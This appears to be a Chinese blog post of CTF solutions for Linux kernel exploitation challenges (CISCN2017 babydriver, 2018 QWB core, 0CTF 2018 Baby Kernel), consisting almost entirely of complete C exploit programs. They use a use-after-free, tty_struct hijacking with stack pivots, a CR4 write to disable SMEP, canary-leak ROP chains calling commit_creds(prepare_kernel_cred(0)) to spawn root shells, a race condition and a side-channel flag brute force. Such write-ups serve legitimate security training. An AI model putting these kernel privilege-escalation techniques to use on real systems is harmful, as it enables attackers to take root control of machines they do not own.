前言

最近也是一直在摆大烂,就把CTF WiKi上关于Linux Kernel的题做了一遍,不过每题我都写了两三种不同的思路。

CISCN2017-babydriver

思路一:利用UAF漏洞(开了SMEP和SMAP都能打)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

int main()
{
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    
    ioctl(fd1, 0x10001, 0xa8);
    close(fd1);

    int pid = fork();
    char zeros[30] = {0};
    write(fd2, zeros, 28);
    if(pid == 0) system("/bin/sh"); else wait(NULL);
    return 0;
}

思路二:劫持tty_struct+栈迁移+打ROP改CR4绕过SMEP+ret2usr

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

size_t driver_base = 0xffffffffc0000000, vmlinux_base = 0xffffffff81000000;
size_t commit_creds_addr = 0xffffffff810a1420, prepare_kernel_cred_addr = 0xffffffff810a1810;
size_t tty_struct[5] = {0}, rop[30] = {0};
size_t *fake_ops[30] = {0};

void get_root()
{
    // commit_creds(prepare_kernel_cred(0))
    char *(*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char *) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

void get_shell()
{
    system("/bin/sh");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}

int main()
{
	save_status();
	
	int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);
    
    int fd3 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    
    size_t xchg_eax_esp_addr = 0xffffffff816161c8; // xchg eax, esp; ret;
    fake_ops[12] = xchg_eax_esp_addr; // ioctl  rax
    
    read(fd2, tty_struct, 0x20);
    tty_struct[3] = (size_t)fake_ops;
    write(fd2, tty_struct, 0x20);
    
    size_t esp_addr = xchg_eax_esp_addr & 0xffffffff;
    size_t base_addr = esp_addr & ~0xfff;
    mmap(base_addr, 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
    int cnt = 0;
    size_t pop_rdi_addr = 0xffffffff810d238d;
    rop[cnt++] = pop_rdi_addr; // pop rdi; ret;
    rop[cnt++] = 0x6f0; // cr4 with smep disabled
    size_t mov_cr4_rdi_addr = 0xffffffff81004d80;
    rop[cnt++] = mov_cr4_rdi_addr; // mov cr4, rdi; pop rbp; ret;
    rop[cnt++] = 0; // rbp
    rop[cnt++] = (size_t)get_root;
    size_t swapgs_addr = 0xffffffff81063694;
    rop[cnt++] = swapgs_addr; // swapgs; pop rbp; ret;
    rop[cnt++] = 0; // rbp
    size_t iretq_addr = 0xffffffff814e35ef;
    rop[cnt++] = iretq_addr; // iretq; ret;
    rop[cnt++] = (size_t)get_shell;
    rop[cnt++] = user_cs;
    rop[cnt++] = user_rflags;
    rop[cnt++] = user_sp;
    rop[cnt++] = user_ss;
    memcpy(esp_addr, rop, sizeof(rop));
	
	ioctl(fd3, 0, 0); // call rax
	return 0;
}

思路三:与思路二tty_operations改的位置和配合的栈迁移方式不同

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

size_t driver_base = 0xffffffffc0000000, vmlinux_base = 0xffffffff81000000;
size_t commit_creds_addr = 0xffffffff810a1420, prepare_kernel_cred_addr = 0xffffffff810a1810;
size_t tty_struct[5] = {0}, rop[30] = {0};
size_t *fake_ops[30] = {0};

void get_root()
{
    // commit_creds(prepare_kernel_cred(0))
    char *(*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char *) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

void get_shell()
{
    system("/bin/sh");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}

int main()
{
	save_status();
	
	int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);
    
    int fd3 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    
    int cnt = 0;
    size_t pop_rdi_addr = 0xffffffff810d238d;
    rop[cnt++] = pop_rdi_addr; // pop rdi; ret;
    rop[cnt++] = 0x6f0; // cr4 with smep disabled
    size_t mov_cr4_rdi_addr = 0xffffffff81004d80;
    rop[cnt++] = mov_cr4_rdi_addr; // mov cr4, rdi; pop rbp; ret;
    rop[cnt++] = 0; // rbp
    rop[cnt++] = (size_t)get_root;
    size_t swapgs_addr = 0xffffffff81063694;
    rop[cnt++] = swapgs_addr; // swapgs; pop rbp; ret;
    rop[cnt++] = 0; // rbp
    size_t iretq_addr = 0xffffffff814e35ef;
    rop[cnt++] = iretq_addr; // iretq; ret;
    rop[cnt++] = (size_t)get_shell;
    rop[cnt++] = user_cs;
    rop[cnt++] = user_rflags;
    rop[cnt++] = user_sp;
    rop[cnt++] = user_ss;
	
	size_t mov_rsp_rax_addr = 0xffffffff8181bfc5; // mov rsp, rax; dec ebx; ret
    fake_ops[7] = mov_rsp_rax_addr; // write ( rax: &fake_ops[0] )
    size_t pop_rax_addr = 0xffffffff8100ce6e; // pop rax; ret;
    fake_ops[0] = pop_rax_addr;
    fake_ops[1] = (size_t)rop;
    fake_ops[2] = mov_rsp_rax_addr;
    
    read(fd2, tty_struct, 0x20);
    tty_struct[3] = (size_t)fake_ops;
    write(fd2, tty_struct, 0x20);
    
	write(fd3, "attack", 6); // trigger
	return 0;
}

2018 强网杯 core

思路一:栈溢出+ROP提权

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define SIGSEGV 11

int fd;
char leak[0x50];
size_t canary, driver_base, vmlinux_base;
size_t rop[0x30];

void core_read(char *buf)
{
    ioctl(fd, 0x6677889B, buf);
}

void set_off(int v1)
{
    ioctl(fd, 0x6677889c, v1);
}

void core_write(char *buf, int a3)
{
    write(fd, buf, a3);
}

void core_copy_func(long long size)
{
    ioctl(fd, 0x6677889a, size);
}

void get_shell()
{
    system("/bin/sh");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}

int main()
{
	save_status();
	fd = open("/proc/core", 2);
	
	set_off(0x40);
	core_read(leak);
	canary = *(size_t *)(&leak[0]);
	driver_base = *(size_t *)(&leak[0x10]) - 0x19b;
	vmlinux_base = *(size_t *)(&leak[0x20]) - 0x1dd6d1;
	printf("canary:\t%p\ndriver_base:\t%p\nvmlinux_base:\t%p\n", canary, driver_base, vmlinux_base);
	
	size_t prepare_kernel_cred_addr = vmlinux_base + 0x9cce0;
	size_t commit_creds_addr = vmlinux_base + 0x9c8e0;
	int cnt = 8;
	rop[cnt++] = canary;                      //canary
    rop[cnt++] = 0;                           //rbp
    rop[cnt++] = vmlinux_base + 0xb2f;        //pop_rdi_ret;
    rop[cnt++] = 0;                           //rdi
    rop[cnt++] = prepare_kernel_cred_addr;
    rop[cnt++] = vmlinux_base + 0x6a6e7;      //mov_rdi_rax_..._ret
    rop[cnt++] = commit_creds_addr;
    rop[cnt++] = driver_base + 0xd6;          //swapgs_pop_rbp_ret
    rop[cnt++] = 0;                           //rbp
    rop[cnt++] = vmlinux_base + 0x50ac2;      //iretp_ret
    rop[cnt++] = (size_t)get_shell;
    rop[cnt++] = user_cs;
    rop[cnt++] = user_rflags;
    rop[cnt++] = user_sp;
    rop[cnt++] = user_ss;
    core_write(rop, 0x100);
    //signal(SIGSEGV, (size_t)get_shell);  [开KPTI]
    core_copy_func(0xf000000000000100);
    return 0;
}

思路二:栈溢出+ret2usr提权

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

int fd;
char leak[0x50];
size_t canary, driver_base, vmlinux_base;
size_t commit_creds_addr, prepare_kernel_cred_addr;
size_t rop[0x30];

void core_read(char *buf)
{
    ioctl(fd, 0x6677889B, buf);
}

void set_off(int v1)
{
    ioctl(fd, 0x6677889c, v1);
}

void core_write(char *buf, int a3)
{
    write(fd, buf, a3);
}

void core_copy_func(long long size)
{
    ioctl(fd, 0x6677889a, size);
}

void get_root()
{
    // commit_creds(prepare_kernel_cred(0))
    char *(*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char *) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

void get_shell()
{
    system("/bin/sh");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}

int main()
{
	save_status();
	fd = open("/proc/core", 2);
	
	set_off(0x40);
	core_read(leak);
	canary = *(size_t *)(&leak[0]);
	driver_base = *(size_t *)(&leak[0x10]) - 0x19b;
	vmlinux_base = *(size_t *)(&leak[0x20]) - 0x1dd6d1;
	printf("canary:\t%p\ndriver_base:\t%p\nvmlinux_base:\t%p\n", canary, driver_base, vmlinux_base);
	
	prepare_kernel_cred_addr = vmlinux_base + 0x9cce0;
	commit_creds_addr = vmlinux_base + 0x9c8e0;
	int cnt = 8;
	rop[cnt++] = canary;                      //canary
    rop[cnt++] = 0;                           //rbp
    rop[cnt++] = (size_t)get_root;
    rop[cnt++] = driver_base + 0xd6;          //swapgs_pop_rbp_ret
    rop[cnt++] = 0;                           //rbp
    rop[cnt++] = vmlinux_base + 0x50ac2;      //iretp_ret
    rop[cnt++] = (size_t)get_shell;
    rop[cnt++] = user_cs;
    rop[cnt++] = user_rflags;
    rop[cnt++] = user_sp;
    rop[cnt++] = user_ss;
    core_write(rop, 0x100);
    core_copy_func(0xf000000000000100);
    return 0;
}

2018 0CTF Finals Baby Kernel

思路一:条件竞争

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <pthread.h>

size_t flag_addr;
int sign = 1;

struct flag_information
{
	char *addr;
	int len;
}my_flag;

void change_flag_addr(struct flag_information *my_flag)
{
	while(sign)
	{
		my_flag -> addr = flag_addr;
	}
}

int main()
{
	int fd = open("/dev/baby", O_RDWR);
	ioctl(fd, 0x6666);
	system(" dmesg | grep 'Your flag is at' > /tmp/flag.txt ");
	int file_fd = open("/tmp/flag.txt", O_RDONLY);
	char buf[150] = {0};
	read(file_fd, buf, 100);
	char *pos = strstr(buf, "ffffffff");
	flag_addr = strtoull(pos, pos+16, 16);
	printf("flag_addr: %p\n", flag_addr);
	close(file_fd);
	
	char fake_flag[] = "flag{winmt}";
	my_flag.addr = fake_flag;
	my_flag.len = 33;
	pthread_t malicious_thread;
	pthread_create(&malicious_thread, NULL, change_flag_addr, &my_flag);
	int times = 1000;
	for(int i=1;i<=times;i++)
	{
		ioctl(fd, 0x1337, &my_flag);
		my_flag.addr = fake_flag;
	}
	sign = 0;
	pthread_join(malicious_thread, NULL);
	close(fd);
	
	system(" dmesg | grep 'So here is it' > /tmp/flag.txt ");
	file_fd = open("/tmp/flag.txt", O_RDONLY);
	read(file_fd, buf, 120);
	pos = strstr(buf, "flag{");
	if(!pos)
	{
		printf("Failed. Please try again!\n");
		exit(0);
	}
	printf("Success! The flag: %s\n", pos);
	close(file_fd);
	return 0;
}

思路二:侧信道攻击

// start.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

char table[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_}";

int main()
{
    char flag[100] = {0};
	printf("Please input the flag you have got:\n");
	scanf("%s", &flag);
	for(int i=0;i<strlen(table);i++)
	{
		char tmp[100] = {0};
		strcpy(tmp, flag);
		char try_flag[100] = {0};
		sprintf(try_flag, "%s%c", tmp, table[i]);
		printf("%s\n", try_flag);
		sleep(1);
		char cmd[100] = {0};
		sprintf(cmd, "./try %s", try_flag);
		system(cmd);
	}
	return 0;
}
// try.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

struct flag_information
{
	char *addr;
	int len;
}my_flag;

int main(int argc, char *argv[])
{
	char *buf;
	buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	mmap(buf+0x1000, 0x1000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	int len = strlen(argv[1]);
	for(int i=0;i<len;i++) buf[0x1000-len+i] = argv[1][i];
	my_flag.addr = buf+0x1000-len;
	my_flag.len = 33;
	int fd = open("/dev/baby", O_RDWR);
	ioctl(fd, 0x1337, &my_flag);
	close(fd);
	return 0;
}

相关文章:

  • 2022-12-23
  • 2021-05-03
  • 2021-05-01
  • 2021-12-28
  • 2021-06-28
  • 2022-12-23
  • 2022-03-03
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2021-05-18
  • 2022-12-23
  • 2021-12-20
  • 2021-12-29
  • 2021-04-18
相关资源
相似解决方案